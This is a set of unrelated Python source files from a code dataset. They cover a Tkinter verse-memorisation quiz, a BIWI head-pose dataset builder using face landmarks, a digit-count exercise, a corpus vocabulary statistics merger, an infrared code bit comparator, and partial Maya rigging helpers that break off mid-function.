dbManager.getNumberOfRows(self.dbPath, self.verseTable)\n self.questionRowIDs = dbManager.getNumberOfRows(self.dbPath, self.questionsTable)\n self.decoyWordsTable = \"DecoyWords\"\n self.moodTypes = dbManager.getDistinctValuesFromColumn(self.dbPath, \"category\", self.moodBoosterTable)\n\n\n def screenSwitcher(self, screenName):\n\n if screenName == \"home\":\n welcomeScreen.welcome_screen(self, root)\n elif screenName == \"moodbooster\":\n moodScreen.showMoodsScreen(self, root, self.moodTypes)\n elif screenName == \"moodsubscreen\":\n moodScreen.showMoodsScreen(self, root, self.moodTypes)\n\n\n def moodTypeSelection(self, mood):\n\n self.moodVersesDict = dbManager.getAllRowsContainingThis(self.dbPath, self.moodBoosterTable, \"category\", mood)\n moodSubScreen.show_subscreen(self, root, self.moodVersesDict)\n\n\n def onMoodVerseSelected(self, passedObj):\n w = passedObj.widget\n index = int(w.curselection()[0])\n value = w.get(index)\n print('You selected item %d: \"%s\"' % (index, value))\n # pprint(self.moodVersesDict)\n self.verseLabel['text'] = self.moodVersesDict[value]['verse']\n\n\n\n def verseQuestStart(self):\n\n if not self.verseRowIDs:\n self.verseRowIDs = dbManager.getNumberOfRows(self.dbPath, self.verseTable)\n\n rowID = choice(self.verseRowIDs)\n\n selectedVerse = dbManager.getARow(self.dbPath, self.verseTable, rowID)\n decoyWords1 = dbManager.getDecoyWords(self.dbPath)\n decoyWords2 = dbManager.getDecoyWords(self.dbPath)\n decoyWords3 = dbManager.getDecoyWords(self.dbPath)\n\n allAnswers = [selectedVerse[x] for x in [\"answer1\",\"answer2\",\"answer3\"]]\n\n while [x for y in decoyWords1 for x in allAnswers if y in x]:\n decoyWords1 = dbManager.getDecoyWords(self.dbPath)\n while [x for y in decoyWords1 for x in allAnswers if y in x]:\n decoyWords2 = dbManager.getDecoyWords(self.dbPath)\n while [x for y in decoyWords1 for x in allAnswers if y in x]:\n decoyWords3 = dbManager.getDecoyWords(self.dbPath)\n\n decoyWords1.append(selectedVerse[\"answer1\"])\n shuffle(decoyWords1)\n decoyWords2.append(selectedVerse[\"answer2\"])\n shuffle(decoyWords2)\n decoyWords3.append(selectedVerse[\"answer3\"])\n shuffle(decoyWords3)\n\n allDecoyWordDict = {\"decoy1\":decoyWords1, \"decoy2\":decoyWords2, \"decoy3\":decoyWords3}\n\n gameScreen.multi_choise_screen(self, root, selectedVerse, allDecoyWordDict)\n\n\n def verseCheckAnswer(self, userAnswers, selectedVerse):\n\n answerOne = userAnswers[\"answer1\"].get()\n answerTwo = userAnswers[\"answer2\"].get()\n answerThree = userAnswers[\"answer3\"].get()\n\n if answerOne == selectedVerse[\"answer1\"] and answerTwo == selectedVerse[\"answer2\"] and answerThree == selectedVerse[\"answer3\"]:\n print(\"Answer is Correct!!\")\n self.verseRowIDs.remove(selectedVerse['row_id'])\n self.verseQuestStart()\n else:\n print(\"Sorry, please try again...\")\n messagebox.showinfo(\"Incorrect\", \"Sorry, please try again!\")\n\n\n def quizQuestionsStart(self):\n\n if not self.questionRowIDs:\n self.questionRowIDs = dbManager.getNumberOfRows(self.dbPath, self.questionsTable)\n\n rowID = choice(self.questionRowIDs)\n\n selectedQuestion = dbManager.getARow(self.dbPath, self.questionsTable, rowID)\n pprint(selectedQuestion)\n quizScreen.gameScreen(self, root, selectedQuestion)\n\n\n def quizCheckAnswer(self, userAnswerVar, selectedQuestion):\n\n userAnswer = userAnswerVar.get()\n correctAnswer = selectedQuestion['answer']\n\n if userAnswer == correctAnswer:\n print(\"Quiz Answer Correct!\")\n self.quizQuestionsStart()\n else:\n print(\"Sorry, please try again...\")\n messagebox.showinfo(\"Incorrect\", \"Sorry, please try again!\")\n\n\n\n\nif __name__ == '__main__':\n root = Tk()\n root.geometry(\"500x600\")\n root.title(\"Memorizer\")\n app = Memorizer(root)\n root.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"361863275","text":"import scipy.io as sio\nimport pandas as pd\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\nimport sys\nimport cv2\nimport torch\n# from moviepy.editor import *\nfrom skimage import io\nimport numpy as np\nimport argparse\nfrom mtcnn.mtcnn import MTCNN\nimport face_alignment # FAN\nfrom PIL import Image\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nfa = face_alignment.FaceAlignment(face_alignment.LandmarksType._2D, device=device, flip_input=False)\n\ndef get_args():\n\tparser = argparse.ArgumentParser(description=\"This script cleans-up noisy labels \"\n\t \"and creates database for training.\",\n\t formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\tparser.add_argument(\"--db\", type=str, default='../../data/BIWI/hpdb',\n\t help=\"path to database\")\n\tparser.add_argument(\"--output\", type=str, default='./BIWI_noTrack.npz',\n\t help=\"path to output database mat file\")\n\tparser.add_argument(\"--img_size\", type=int, default=256,\n\t help=\"output image size\")\n\tparser.add_argument(\"--ad\", type=float, default=0.4,\n\t help=\"enlarge margin\")\n\t\n\n\targs = parser.parse_args()\n\treturn args\n\ndef gen_landmarks(img):\n\tkey_points = fa.get_landmarks(img)\n\tif isinstance(key_points, list):\n\t\tif len(key_points) > 1:\n\t\t\tface_id = 0\n\t\t\tface_point = 0\n\t\t\tfor i, points in enumerate(key_points):\n\t\t\t\tpoint = points[0][0]\n\t\t\t\tif point > face_point:\n\t\t\t\t\tface_point = point\n\t\t\t\t\tface_id = i\n\t\t\tkey_point = key_points[face_id]\n\t\telse:\n\t\t\tkey_point = key_points[0]\n\t\n\t\tif len(key_points) > 0:\n\t\t\tlandmarks = key_point\n\n\telse:\n\t\tlandmarks = None\n\t\n\treturn landmarks\n\ndef visual_landmarks(image, landmarks):\n\tfor i in range(len(landmarks)):\n\t\tx = landmarks[i][0]\n\t\ty = landmarks[i][1]\n\t\timage = cv2.circle(image, (x,y), radius=1, color=(0, 0, 255), thickness=1)\n\t\n\treturn image\n\ndef gen_gaussian_heatmaps(img, landmarks, down_ratio, num_points=68):\n\n\timg_h, img_w = img.shape[:2]\n\tlandmarks = landmarks / img_h\n\n\tmap_height = img_h//down_ratio\n\tmap_width = img_w//down_ratio\n\theatmap=np.zeros((map_height, map_width, num_points),dtype=np.float)\n\tassert(len(landmarks)==num_points)\n\tfor p in range(len(landmarks)):\n\t\tx=landmarks[p][0]*map_width\n\t\ty=landmarks[p][1]*map_height\n\t\tfor i in range(map_width):\n\t\t\tfor j in range(map_height):\n\t\t\t\tif (x-i)*(x-i)+(y-j)*(y-j)<=4:\n\t\t\t\t\t# print(1.0/(1+(x-i)*(x-i)*2+(y-j)*(y-j)*2))\n\t\t\t\t\theatmap[j][i][p]=1.0/(1+(x-i)*(x-i)*2+(y-j)*(y-j)*2)\n\n\treturn heatmap\n\ndef main():\n\targs = get_args()\n\tmypath = args.db\n\toutput_path = args.output\n\timg_size = args.img_size\n\tad = args.ad\n\n\tisPlot = False\n\tdetector = MTCNN()\n\n\tonlyfiles_png = []\n\tonlyfiles_txt = []\n\tfor num in range(0,24):\n\t\tif num<9:\n\t\t\tmypath_obj = mypath+'/0'+str(num+1)\n\t\telse:\n\t\t\tmypath_obj = mypath+'/'+str(num+1)\n\t\tprint(mypath_obj)\n\t\tonlyfiles_txt_temp = [f for f in listdir(mypath_obj) if isfile(join(mypath_obj, f)) and join(mypath_obj, f).endswith('.txt')]\n\t\tonlyfiles_png_temp = [f for f in listdir(mypath_obj) if isfile(join(mypath_obj, f)) and join(mypath_obj, f).endswith('.png')]\n\t\n\t\tonlyfiles_txt_temp.sort()\n\t\tonlyfiles_png_temp.sort()\n\n\t\tonlyfiles_txt.append(onlyfiles_txt_temp)\n\t\tonlyfiles_png.append(onlyfiles_png_temp)\n\tprint(len(onlyfiles_txt))\n\tprint(len(onlyfiles_png))\n\t\n\tout_imgs = []\n\tout_poses = []\n\tout_landmarks = []\n\t\n\tfor i in range(0,24):\n\t\tprint('object %d' %i)\n\t\t\n\t\tmypath_obj = ''\n\t\tif i<9:\n\t\t\tmypath_obj = mypath+'/0'+str(i+1)\n\t\telse:\n\t\t\tmypath_obj = mypath+'/'+str(i+1)\n\n\t\tfor j in tqdm(range(len(onlyfiles_png[i]))):\n\t\t\t\n\t\t\timg_name = onlyfiles_png[i][j]\n\t\t\ttxt_name = onlyfiles_txt[i][j]\n\t\t\t\n\t\t\timg_name_split = img_name.split('_')\n\t\t\ttxt_name_split = txt_name.split('_')\n\n\t\t\tif img_name_split[1] != txt_name_split[1]:\n\t\t\t\tprint('Mismatched!')\n\t\t\t\tsys.exit()\n\n\n\t\t\tpose_path = mypath_obj+'/'+txt_name\n\t\t\t# Load pose in degrees\n\t\t\tpose_annot = open(pose_path, 'r')\n\t\t\tR = []\n\t\t\tfor line in pose_annot:\n\t\t\t\tline = line.strip('\\n').split(' ')\n\t\t\t\tL = []\n\t\t\t\tif line[0] != '':\n\t\t\t\t\tfor nb in line:\n\t\t\t\t\t\tif nb == '':\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tL.append(float(nb))\n\t\t\t\t\tR.append(L)\n\n\t\t\tR = np.array(R)\n\t\t\tT = R[3,:]\n\t\t\tR = R[:3,:]\n\t\t\tpose_annot.close()\n\n\t\t\tR = np.transpose(R)\n\n\t\t\troll = -np.arctan2(R[1][0], R[0][0]) * 180 / np.pi\n\t\t\tyaw = -np.arctan2(-R[2][0], np.sqrt(R[2][1] ** 2 + R[2][2] ** 2)) * 180 / np.pi\n\t\t\tpitch = np.arctan2(R[2][1], R[2][2]) * 180 / np.pi\n\n\t\t\timagefile = mypath_obj+'/'+img_name\n\t\t\tprint(\"img_name:\", imagefile)\n\t\t\timg = cv2.imread(imagefile)\n\t\t\t# img = io.imread(imagefile)\n\t\t\timg_h = img.shape[0]\n\t\t\timg_w = img.shape[1]\n\t\t\tif j==0:\n\t\t\t\t[xw1_pre,xw2_pre,yw1_pre,yw2_pre] = [0,0,0,0]\n\n\t\t\t# landmarks = get_landmarks(img)\n\n\t\t\t# print(\"landmarks:\", landmarks.shape)\n\t\t\t\n\t\t\tdetected = detector.detect_faces(img)\n\n\t\t\tif len(detected) > 0:\n\t\t\t\tdis_list = []\n\t\t\t\tXY = []\n\t\t\t\tfor i_d, d in enumerate(detected):\n\t\t\t\t\t\n\t\t\t\t\txv = []\n\t\t\t\t\tyv = []\n\t\t\t\t\tfor key, value in d['keypoints'].items():\n\t\t\t\t\t\txv.append(value[0]) \n\t\t\t\t\t\tyv.append(value[1])\n\t\t\t\t\t\n\t\t\t\t\tif d['confidence'] > 0.90:\n\t\t\t\t\t\tx1,y1,w,h = d['box']\n\t\t\t\t\t\tx2 = x1 + w\n\t\t\t\t\t\ty2 = y1 + h\n\t\t\t\t\t\txw1 = max(int(x1 - ad * w), 0)\n\t\t\t\t\t\tyw1 = max(int(y1 - ad * h), 0)\n\t\t\t\t\t\txw2 = min(int(x2 + ad * w), img_w - 1)\n\t\t\t\t\t\tyw2 = min(int(y2 + ad * h), img_h - 1)\n\t\t\t\t\t\t\n\t\t\t\t\t\t# Crop the face loosely\n\t\t\t\t\t\t# x_min = int(min(xv))\n\t\t\t\t\t\t# x_max = int(max(xv))\n\t\t\t\t\t\t# y_min = int(min(yv))\n\t\t\t\t\t\t# y_max = int(max(yv))\n\t\t\t\t\t\t\n\t\t\t\t\t\t# h = y_max-y_min\n\t\t\t\t\t\t# w = x_max-x_min\n\n\t\t\t\t\t\t# xw1 = max(int(x_min - ad * w), 0)\n\t\t\t\t\t\t# xw2 = min(int(x_max + ad * w), img_w - 1)\n\t\t\t\t\t\t# yw1 = max(int(y_min - ad * h), 0)\n\t\t\t\t\t\t# yw2 = min(int(y_max + ad * h), img_h - 1)\n\n\t\t\t\t\t\tXY.append([xw1,xw2,yw1,yw2])\n\t\t\t\t\t\tdis_betw_cen = np.abs(xw1-img_w*2/3)+np.abs(yw1-img_h*2/3)\n\t\t\t\t\t\tdis_list.append(dis_betw_cen)\n\t\t\t\t\n\t\t\t\tif len(dis_list)>0:\n\t\t\t\t\tmin_id = np.argmin(dis_list)\n\t\t\t\t\t[xw1,xw2,yw1,yw2] = XY[min_id]\n\n\n\t\t\t\tdis_betw_frames = np.abs(xw1-xw1_pre)\n\t\t\t\tif dis_betw_frames < 80 or j==0:\n\t\t\t\t\timg = cv2.resize(img[yw1:yw2 + 1, xw1:xw2 + 1, :], (img_size, img_size))\n\t\t\t\t\t[xw1_pre,xw2_pre,yw1_pre,yw2_pre] = [xw1,xw2,yw1,yw2]\n\t\t\t\t\t# if isPlot:\n\t\t\t\t\t# \tprint([xw1_pre,xw2_pre,yw1_pre,yw2_pre])\n\t\t\t\t\t# \tcv2.imshow('check',img)\n\t\t\t\t\t# \tk=cv2.waitKey(10)\n\t\t\t\t\timg = cv2.resize(img, (img_size, img_size))\n\n\t\t\t\t\t# to generate landmark and groundtruth heatmaps\n\t\t\t\t\tlandmarks = gen_landmarks(img)\n\t\t\t\t\tif not isinstance(landmarks, np.ndarray):\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t# print(\"landmarks:\", landmarks.shape)\n\n\t\t\t\t\t# down_ratio = 1 # (256, 256)\n\t\t\t\t\t# heatmaps = gen_gaussian_heatmaps(img, landmarks, down_ratio)\n\n\t\t\t\t\t# print(\"heatmap:\", heatmaps.shape)\n\t\t\t\t\t\n\t\t\t\t\tif isPlot:\n\t\t\t\t\t\t# cv2.imshow('check',img)\n\t\t\t\t\t\t# k=cv2.waitKey(500)\n\t\t\t\t\t\tcv2.imwrite(str(j)+'.jpg', img)\n\n\t\t\t\t\t\timg_landmarks = visual_landmarks(img, landmarks)\n\n\t\t\t\t\t\tcv2.imwrite(str(j)+'_landmarks.jpg', img_landmarks)\n\t\t\t\t\t\t\n\t\t\t\t\t\theatmap_img=np.zeros((256,256),dtype=np.float)\n\t\t\t\t\t\tfor index in range(68):\n\t\t\t\t\t\t\theatmap_img+=heatmaps[:,:,index]*255.0\n\t\t\t\t\t\tprint(heatmap_img)\n\n\t\t\t\t\t\tImage.fromarray(heatmap_img).convert('RGB').save('{}_heatmaps.jpg'.format(j))\n\t\t\t\t\t\n\t\t\t\t\t\tprint(\"img:\", img.shape)\n\t\t\t\t\tcont_labels = np.array([yaw, pitch, roll])\n\t\t\t\t\tout_imgs.append(img)\n\t\t\t\t\tout_poses.append(cont_labels)\n\t\t\t\t\tout_landmarks.append(landmarks)\n\t\t\t# \telse:\n\t\t\t# \t\timg = cv2.resize(img[yw1_pre:yw2_pre + 1, xw1_pre:xw2_pre + 1, :], (img_size, img_size))\n\t\t\t# \t\t# Checking the cropped image\n\t\t\t# \t\tif isPlot:\n\t\t\t# \t\t\tprint([xw1_pre,xw2_pre,yw1_pre,yw2_pre])\n\t\t\t# \t\t\tprint('Distance between two frames too large! Use previous frame detected location.')\n\t\t\t\t\t\n\t\t\t# \t\t\tcv2.imshow('check',img)\n\t\t\t# \t\t\tk=cv2.waitKey(10)\n\t\t\t# \t\timg = cv2.resize(img, (img_size, img_size))\n\t\t\t# \t\tcont_labels = np.array([yaw, pitch, roll])\n\t\t\t# \t\tout_imgs.append(img)\n\t\t\t# \t\tout_poses.append(cont_labels)\n\t\t\t# else:\n\t\t\t# \timg = cv2.resize(img[yw1_pre:yw2_pre + 1, xw1_pre:xw2_pre + 1, :], (img_size, img_size))\n\t\t\t# \tif isPlot:\n\t\t\t# \t\tprint('No face detected! Use previous frame detected location.')\n\t\t\t\t\n\t\t\t# \t# Checking the cropped image\n\t\t\t# \tif isPlot:\n\t\t\t# \t\tcv2.imshow('check',img)\n\t\t\t# \t\tk=cv2.waitKey(10)\n\t\t\t# \timg = cv2.resize(img, (img_size, img_size))\n\t\t\t# \tcont_labels = np.array([yaw, pitch, roll])\n\t\t\t# \tout_imgs.append(img)\n\t\t\t# \tout_poses.append(cont_labels)\n\tnp.savez(output_path, image=np.array(out_imgs), landmark=np.array(out_landmarks), pose=np.array(out_poses), img_size=img_size)\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"data_preprocessing/create_db_biwi.py","file_name":"create_db_biwi.py","file_ext":"py","file_size_in_byte":8509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"606525981","text":"# 백준 1차원 배열- 2577번: 숫자의 개수\r\n\r\n# 3개의 자연수 입력받기\r\na = int(input())\r\nb = int(input())\r\nc = int(input())\r\nnum_input=a*b*c\r\nnum_str=str(num_input)\r\n\r\n# count는 숫자별로 개수가 몇개인지 담겨있음\r\ncount=[0,0,0,0,0,0,0,0,0,0]\r\nnum=0\r\nfor i in range(len(num_str)):\r\n for num in range(0, 10, 1):\r\n if(num_str[i]==str(num)):\r\n count[num]+=1\r\n# 결과 출력\r\nfor i in range(len(count)):\r\n print(count[i])\r\n","sub_path":"Beakjoon_python/level06_1d_array/2577_num_of_numbers.py","file_name":"2577_num_of_numbers.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"250227140","text":"import string\nimport numpy as np\nimport pandas as pd\nfrom collections import Counter\n\nWD_dir = 'WD_stats/'\t\t\t\t\t\t\t\t# base directory for webdunia stats\nAJ_dir = 'AJ_stats/'\t\t\t\t\t\t\t\t# base directory for andhrajyothy stats\nwiki_dir = 'wiki_stats/'\t\t\t\t\t\t\t# base directory for wiki stats\nfiles_dir = 'combined_stats/'\t\t\t\t\t\t# save all the stats to this directory\n\ncorpora_dir = [WD_dir,AJ_dir,wiki_dir] \t\t\t\t# lis of all corpora\n\nword_doc = open(files_dir+'vocab.txt','w')\t\t# txt file to store (combined)vocabulary\npunctuation = list(string.punctuation)\t\t\t\t# list of special characters\n\n# write stats to a file\ndef save_stats(stats):\n\tfile = open(files_dir+'stats.txt','w')\n\tfile.write('Number of sentences: {}M\\n'.format(round(stats[0]/pow(10.0,6),2)))\n\tfile.write('Number of unique sentences: {}M\\n'.format(round(stats[1]/pow(10.0,6),2)))\n\tfile.write('Number of words in vocabulary: {}M\\n'.format(round(stats[2]/pow(10.0,6),2)))\n\tfile.write('Number of sp.chars in vocabulary: {}\\n'.format(len(stats[3])))\n\tfile.write('Number of tokens in corpora: {}M\\n'.format(round(stats[4]/pow(10.0,6),2)))\n\tfile.write('Number of sp.tokens in corpora: {}M\\n'.format(round(stats[5]/pow(10.0,6),2)))\n\tfile.write('Number of words with freq>=5 in vocabulary: {}K\\n'.format(round(stats[6]/pow(10.0,3),2)))\n\tfile.write('Number of words with freq>=10 in vocabulary: {}K\\n'.format(round(stats[7]/pow(10.0,3),2)))\n\tfile.write('Number of words with freq>=20 in vocabulary: {}K\\n'.format(round(stats[8]/pow(10.0,3),2)))\n\tfile.write('\\n\\nsp.chars = sp.tokens:\\n{}'.format(stats[3]))\n\tfile.close()\n\n# caluclate the stats\ndef get_stats(word_to_freq,tot_sen,uni_sen):\n\tword_to_freq = dict(sorted(word_to_freq.items(),key=lambda x:x[1],reverse=True))\n\ttot_vocab = len(word_to_freq)\n\tpun_vocab = [w for w in punctuation if w in word_to_freq]\n\ttot_tokens = sum(word_to_freq.values())\n\tpun_tokens = sum(word_to_freq[w] for w in punctuation if w in word_to_freq)\n\tvocab_5 = sum(1 for f in word_to_freq.values() if f >= 5)\n\tvocab_10 = sum(1 for f in word_to_freq.values() if f >= 10)\n\tvocab_20 = sum(1 for f in word_to_freq.values() if f >= 20)\n\t\n\tsave_stats([tot_sen,uni_sen,tot_vocab,pun_vocab,tot_tokens,pun_tokens,vocab_5,vocab_10,vocab_20])\n\n# combine two dicts\ndef combineDict(word_to_freq,c_dict):\n\tcom_dict = Counter(word_to_freq) + Counter(c_dict)\n\tcom_dict = dict(sorted(com_dict.items(),key=lambda x:x[1],reverse=True))\n\t\n\treturn com_dict\n\ntot_sen = 0\t\t\t\t# Total num of sentences in all corpora\nhash_sent = 0\t\t\t\t# Total num of hashed sentences in all corpora\nword_to_freq = {}\t\t\t# Dict to store combined freq of a word in combined vocab\n\nprint('Starting combining vocabulary from different corporas...')\nfor c in corpora_dir:\n\tc_vocab = pd.read_csv(c +'word_to_freq.csv',header=None)\n\tc_dict = dict(zip(list(c_vocab[0]),list(c_vocab[1])))\n\tprint('Combining vocabulary from: {} of vocab_size: {}'.format(c,len(c_dict)))\n\tword_to_freq = combineDict(word_to_freq,c_dict)\n\tprint('After combining vocabulary, vocab_size: {}'.format(len(word_to_freq)))\n\ttot_sen = tot_sen + float(open(c+'stats.txt').readline().strip().split()[-1][0:-1])\n\thash_sent = hash_sent + pd.read_csv(c +'hash_to_line.csv',header=None).shape[0]\n\npd.DataFrame.from_dict(data=word_to_freq,orient='index').to_csv(files_dir+'word_to_freq.csv',header=None)\nword_doc.write('\\n'.join(word_to_freq.keys()))\nword_doc.write('\\n')\nword_doc.close()\nprint('Done!!')\n\nprint('Total nuber of sentences:{}M'.format(tot_sen))\n\ntot_sen = tot_sen*pow(10,6)\t\t\t\t\t\nuni_sen = hash_sent\t\t\t # No overlapping sentences btw corpora (can be know by below commented snippet)\nget_stats(word_to_freq,tot_sen,uni_sen)\n\n\n\n# TO CHECK INTERSECTION OF SENTENCES BTW CORPORA\n'''\nover_sen = 0\nremove_sen = {}\nfor i in range(0,len(corpora_dir)):\n\tdel_l = []\n\tfor j in range(i+1,len(corpora_dir)):\n\t\tc_i = list(pd.read_csv(corpora_dir[i]+'hash_to_line.csv',header=None)[0])\n\t\tc_j = list(pd.read_csv(corpora_dir[j]+'hash_to_line.csv',header=None)[0])\n\t\tc_ij = list(set(c_i).intersection(c_j))\n\t\tdel_l = list(set(del_l).union(c_ij))\n\t\n\tremove_sen[corpora_dir[i]] = del_l\n\nfor rs in remove_sen:\n\tover_sen = over_sen + len(remove_sen[rs])\n\nprint('Total nuber of overlapping sentences:{}'.format(over_sen))\n'''","sub_path":"data_prep_files/combine_stats.py","file_name":"combine_stats.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"345717911","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n'''\r\nCreated on 2014-10-16\r\n\r\n@author: tianyuqi\r\n'''\r\nimport sys\r\nfrom color_console import *\r\nfrom yg_utils import *\r\n\r\ndefault_colors = get_text_attr()\r\nbase = [str(x) for x in range(10)] + [ chr(x) for x in range(ord('A'),ord('A')+6)]\r\n\r\ndef dec2bin(string_num):\r\n num = int(string_num)\r\n if num == 0:\r\n return '0'\r\n mid = []\r\n while True:\r\n if num == 0:break\r\n num,rem = divmod(num, 2)\r\n mid.append(base[rem])\r\n\r\n return ''.join([str(x) for x in mid[::-1]])\r\n\r\ndef hex2dec(string_num):\r\n return str(int(string_num.upper(), 16))\r\n\r\ndef hex2bin(string_num):\r\n return dec2bin(hex2dec(string_num.upper()))\r\n\r\ndef output_code(last_code, current_code):\r\n current_code_list = current_code.split()\r\n current_code_list = [hex2bin(code) for code in current_code_list]\r\n fill_gap(current_code_list)\r\n if last_code:\r\n last_code_list = last_code.split()\r\n last_code_list = [hex2bin(code) for code in last_code_list]\r\n fill_gap(last_code_list)\r\n compare_to_eachother(last_code_list, current_code_list)\r\n else:\r\n sys.stdout.write(' '.join(current_code_list))\r\n\r\n# def fill_gap(last_code_list, current_code_list):\r\n# for index in range(len(current_code_list)):\r\n# num = abs(len(current_code_list[index]) - len(last_code_list[index]))\r\n# if len(current_code_list[index]) > len(last_code_list[index]):\r\n# last_code_list[index] = num * '0' + last_code_list[index]\r\n# else :\r\n# current_code_list[index] = num * '0' + current_code_list[index]\r\n \r\ndef fill_gap(code_list):\r\n for index in range(len(code_list)):\r\n code_list[index] = (8 - len(code_list[index])) * '0' + code_list[index]\r\n\r\ndef compare_to_eachother(last_code_list, current_code_list):\r\n last_code = '|'.join(last_code_list)\r\n current_code = '|'.join(current_code_list)\r\n for index in range(len(current_code)):\r\n if current_code[index] == last_code[index]:\r\n set_text_attr(default_colors)\r\n else:\r\n set_text_attr(FOREGROUND_RED | BACKGROUND_GREY | FOREGROUND_INTENSITY | BACKGROUND_INTENSITY)\r\n if current_code[index] == '|':\r\n sys.stdout.write(' ')\r\n else:\r\n sys.stdout.write(current_code[index])\r\n\r\ndef main():\r\n last_data_full_code = None\r\n while True:\r\n irreader = Listener()\r\n irreader.run()\r\n output_code(last_data_full_code, irreader.data_full_code)\r\n last_data_full_code = irreader.data_full_code\r\n print\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"ingest/IrHunter2/yg_color.py","file_name":"yg_color.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"162053328","text":"import pymel.core as pm\n\ndef map_axis(source_obj, target_obj, map_aim, map_up, invert_aim_axis=False, invert_up_axis=False):\n\n # check that the axis map aim and up axis are valid\n if map_aim[0] == map_up[0]:\n print('The source aim axis can not be the same as the up axis')\n return\n\n if map_aim[1] == map_up[1]:\n print('The target aim axis can not be the same as the up axis')\n return\n\n # get axis data from the object\n m = pm.xform(source_obj, q=True, ws=True, matrix=True)\n\n axis_list = []\n axis_list.append(pm.datatypes.Vector(m[0], m[1], m[2]))\n axis_list.append(pm.datatypes.Vector(m[4], m[5], m[6]))\n axis_list.append(pm.datatypes.Vector(m[8], m[9], m[10]))\n pos = pm.datatypes.Vector(m[12], m[13], m[14])\n\n # normalize the vectors\n axis_list[0].normalize()\n axis_list[1].normalize()\n axis_list[2].normalize()\n\n # invert axis if specified\n if invert_aim_axis: axis_list[map_aim[0]] = axis_list[map_aim[0]] * -1 \n if invert_up_axis: axis_list[map_up[0]] = axis_list[map_up[0]] * -1\n \n\n target_x_axis = None\n target_y_axis = None\n target_z_axis = None\n\n # remap the aim axis\n if map_aim[1] == 0: # remap the x axis\n target_x_axis = axis_list[map_aim[0]]\n\n elif map_aim[1] == 1: # remap the y axis\n target_y_axis = axis_list[map_aim[0]]\n\n else: # remap the z axis\n target_z_axis = axis_list[map_aim[0]]\n\n\n # remap the aim axis\n if map_up[1] == 0: # remap the x axis\n target_x_axis = axis_list[map_up[0]]\n\n elif map_up[1] == 1: # remap the y axis\n target_y_axis = axis_list[map_up[0]]\n\n else: # remap the z axis\n target_z_axis = axis_list[map_up[0]]\n\n if not target_x_axis:\n print('x is none')\n target_x_axis = target_y_axis.cross(target_z_axis)\n\n if not target_y_axis:\n print('y is none')\n target_y_axis = target_z_axis.cross(target_x_axis)\n\n if not target_z_axis:\n print('z is none')\n target_z_axis = target_x_axis.cross(target_y_axis)\n \n #cross_axis.normalize()\n\n # build the transformation matrix\n row_0 = [target_x_axis.x, target_x_axis.y, target_x_axis.z, 0]\n row_1 = [target_y_axis.x, target_y_axis.y, target_y_axis.z, 0]\n row_2 = [target_z_axis.x, target_z_axis.y, target_z_axis.z, 0]\n row_3 = [pos.x, pos.y, pos.z, 1]\n\n target_obj.setMatrix(pm.datatypes.TransformationMatrix(row_0, row_1, row_2, row_3))\n #return pm.datatypes.TransformationMatrix(row_0, row_1, row_2, row_3)\n\ndef build_matrix(obj, obj_length_axis, obj_orient_axis, flip_length_axis=False, flip_orient_axis=False):\n\n # get axis data from the object\n m = pm.xform(obj, q=True, ws=True, matrix=True)\n \n x_axis = pm.datatypes.Vector(m[0], m[1], m[2])\n y_axis = pm.datatypes.Vector(m[4], m[5], m[6])\n z_axis = pm.datatypes.Vector(m[8], m[9], m[10])\n pos = pm.datatypes.Vector(m[12], m[13], m[14])\n \n x_axis.normalize()\n y_axis.normalize()\n z_axis.normalize()\n \n # get the length axis\n if obj_length_axis == 'x':\n length_axis = x_axis\n \n elif obj_length_axis == 'y':\n length_axis = y_axis\n \n elif obj_length_axis == 'z':\n length_axis = z_axis\n \n # get the orient axis \n if obj_orient_axis == 'x':\n orient_axis = x_axis\n \n elif obj_orient_axis == 'y':\n orient_axis = y_axis\n \n elif obj_orient_axis == 'z':\n orient_axis = z_axis\n \n # flip axis if specified\n if flip_length_axis: length_axis = length_axis * -1 \n if flip_orient_axis: orient_axis = orient_axis * -1\n \n \n cross_axis = length_axis.cross(orient_axis)\n cross_axis.normalize()\n \n # build the transformation matrix\n row_0 = [cross_axis.x, cross_axis.y, cross_axis.z, 0]\n row_1 = [length_axis.x, length_axis.y, length_axis.z, 0]\n row_2 = [orient_axis.x, orient_axis.y, orient_axis.z, 0]\n row_3 = [pos.x, pos.y, pos.z, 1]\n\n return pm.datatypes.TransformationMatrix(row_0, row_1, row_2, row_3)\n \n \ndef create_loc(obj, name, obj_length_axis, obj_orient_axis, flip_length_axis=False, flip_orient_axis=False):\n \n m = build_matrix(obj, obj_length_axis, obj_orient_axis, flip_length_axis, flip_orient_axis)\n \n ctrl_grp = pm.group(em=True, w=True, n='{0}_ctrl_grp'.format(name))\n ctrl_grp.setMatrix(m)\n \n ctrl = pm.circle(normal=(0,1,0), radius=2, ch=False, n='{0}_ctrl'.format(name))[0]\n ctrl.setMatrix(m)\n \n pm.parent(ctrl, ctrl_grp)\n \n return ctrl\n\ndef create_piston(btm_obj, top_obj, obj_length_axis, obj_orient_axis, flip_length_axis=False, flip_orient_axis=False):\n \n '''\n Creates a piston setup.\n \n params:\n \n btm_obj (transform)\n top_obj (transform)\n \n obj_length_axis (string) 'x', 'y', 'z': the axis that is aligned with the length of the object\n obj_orient_axis (string) 'x', 'y', 'z': the axis that is aligned with \"front\" of the object, will be used to orient the obj\n \n flip_length_axis: (bool) flip the obj_length_axis\n flip_orient_axis: (bool) flip the obj_orient_axis\n \n '''\n top_ctrl = create_loc(top_obj, 'top', obj_length_axis, obj_orient_axis, 